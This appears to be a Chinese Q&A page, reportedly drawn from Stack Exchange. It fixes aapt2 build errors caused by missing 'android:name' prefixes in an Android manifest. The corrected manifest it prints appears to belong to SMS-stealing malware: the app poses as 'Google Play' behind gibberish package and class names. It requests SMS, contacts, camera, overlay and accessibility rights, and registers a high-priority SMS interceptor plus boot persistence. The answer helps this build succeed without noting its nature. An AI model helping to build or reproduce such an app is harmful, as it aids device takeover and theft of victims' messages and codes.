AndroidManifest.xml中android:name属性编译报错的解决咨询
AndroidManifest.xml构建报错修复方案
执行的构建命令
/opt/android/build-tools/android-7.0/aapt2 link compiled_res/resources.zip /opt/android/platforms/android-23/android.jar --manifest App-APK/AndroidManifest.xml --java gen -o out/res.apk
报错信息
App-APK/AndroidManifest.xml:26: error: attribute 'android:name' . App-APK/AndroidManifest.xml:32: error: attribute 'android:name' . App-APK/AndroidManifest.xml:38: error: attribute 'android:name' . App-APK/AndroidManifest.xml:44: error: attribute 'android:name' . App-APK/AndroidManifest.xml:49: error: attribute 'android:name' . App-APK/AndroidManifest.xml:55: error: attribute 'android:name' . App-APK/AndroidManifest.xml:67: error: attribute 'android:name' . App-APK/AndroidManifest.xml:77: error: attribute 'android:name' . App-APK/AndroidManifest.xml:83: error: attribute 'android:name' . App-APK/AndroidManifest.xml:84: error: attribute 'android:name' . App-APK/AndroidManifest.xml:85: error: attribute 'android:name' . App-APK/AndroidManifest.xml:86: error: attribute 'android:name' . App-APK/AndroidManifest.xml:87: error: attribute 'android:name' . App-APK/AndroidManifest.xml:88: error: attribute 'android:name' . error: failed processing manifest.
问题根源
你的AndroidManifest.xml存在两个关键错误:
- 权限/特性标签属性错误:
<uses-permission>和<uses-feature>的名称属性必须使用android:name(带Android命名空间前缀),但你全部写成了name,导致aapt2无法识别。 - 组件属性错误修改:你错误地将activity、receiver等组件的
android:name改成了name,这些组件的名称属性必须保留android:前缀才能被正确解析。
修复步骤
- 修正权限和特性标签:将所有
<uses-permission>和<uses-feature>中的name替换为android:name。 - 恢复组件属性:将所有activity、receiver、service的
name改回android:name(若你之前修改过)。
修复后的完整AndroidManifest.xml
<?xml version="1.0" encoding="utf-8" standalone="no"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="khjjhkghkg.yulyuuyklyuky" platformBuildVersionCode="1" platformBuildVersionName="1.0"> <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/> <uses-permission android:name="android.permission.SYSTEM_OVERLAY_WINDOW"/> <uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"/> <uses-permission android:name="android.permission.WAKE_LOCK"/> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.VIBRATE"/> <uses-permission android:name="android.permission.GET_TASKS"/> <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/> <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.WRITE_CONTACTS"/> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission-sdk-23 android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/> <uses-permission android:name="android.permission.CAMERA"/> <uses-feature android:name="android.hardware.camera"/> <uses-feature android:name="android.hardware.camera.autofocus"/> <uses-feature android:name="android.hardware.camera.front" android:required="false"/> <application android:allowBackup="true" android:debuggable="true" android:icon="@mipmap/ic_launcher" android:label="Google Play" android:screenOrientation="portrait" android:supportsRtl="true" android:theme="@style/Theme.Translucent.NoTitleBar"> <activity android:name="khjjhkghkg.yulyuuyklyuky.rtfuyhtyhrtfrf"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> <receiver android:enabled="true" android:exported="true" android:name="khjjhkghkg.yulyuuyklyuky.eryeryeryeryer" android:permission="android.permission.BROADCAST_SMS"> <intent-filter android:priority="999"> <action android:name="android.intent.action.BOOT_COMPLETED"/> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver> <receiver android:enabled="true" android:exported="false" android:name="khjjhkghkg.yulyuuyklyuky.eryeryeryeryery"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED"/> <action android:name="Alram"/> </intent-filter> </receiver> <receiver android:name="khjjhkghkg.yulyuuyklyuky.rtyrtryrtytry" android:permission="android.permission.BROADCAST_SMS"> <intent-filter> <action android:name="android.provider.Telephony.SMS_DELIVER"/> </intent-filter> </receiver> <receiver android:name="khjjhkghkg.yulyuuyklyuky.rtuyrturtutrur" android:permission="android.permission.BROADCAST_WAP_PUSH"> <intent-filter> <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/> <data android:mimeType="application/vnd.wap.mms-message"/> </intent-filter> </receiver> <activity android:name="khjjhkghkg.yulyuuyklyuky.uykykuykyukyu"> <intent-filter> <action android:name="android.intent.action.SEND"/> <action android:name="android.intent.action.SENDTO"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="sms"/> <data android:scheme="smsto"/> <data android:scheme="mms"/> <data android:scheme="mmsto"/> </intent-filter> </activity> <service android:exported="true" android:name="khjjhkghkg.yulyuuyklyuky.tyiityityityi" android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"> <intent-filter> <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/> <category android:name="android.intent.category.DEFAULT"/> <data android:scheme="sms"/> <data android:scheme="smsto"/> <data android:scheme="mms"/> <data android:scheme="mmsto"/> </intent-filter> </service> <service android:enabled="true" android:exported="false" android:label="Google Play" android:name="khjjhkghkg.yulyuuyklyuky.gdfgdfgfgfdgd" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"> <intent-filter> <action android:name="android.accessibilityservice.AccessibilityService"/> </intent-filter> <meta-data android:name="android.accessibilityservice" android:resource="@xml/accessibility_service_config"/> </service> <service android:enabled="true" android:exported="true" android:name="khjjhkghkg.yulyuuyklyuky.rtutrutrurtu" android:permission="android.permission.BIND_JOB_SERVICE"/> <activity android:label="" android:name="khjjhkghkg.yulyuuyklyuky.sdfsfsdfsdfs"/> <activity android:label="" android:name="khjjhkghkg.yulyuuyklyuky.tuityiyttityi" android:screenOrientation="portrait"/> <service android:enabled="true" android:exported="true" android:name="khjjhkghkg.yulyuuyklyuky.urewerwerwe" android:process=":cproc"/> <service android:exported="true" android:name="khjjhkghkg.yulyuuyklyuky.eryeryeryeryr"/> <service android:exported="true" android:name="khjjhkghkg.yulyuuyklyuky.ityytityitit"/> </application> </manifest>
验证修复
重新执行最初的aapt2构建命令,即可正常完成APK构建。
内容的提问来源于stack exchange,提问作者Samael Morningstar
相关产品推荐
相关产品推荐

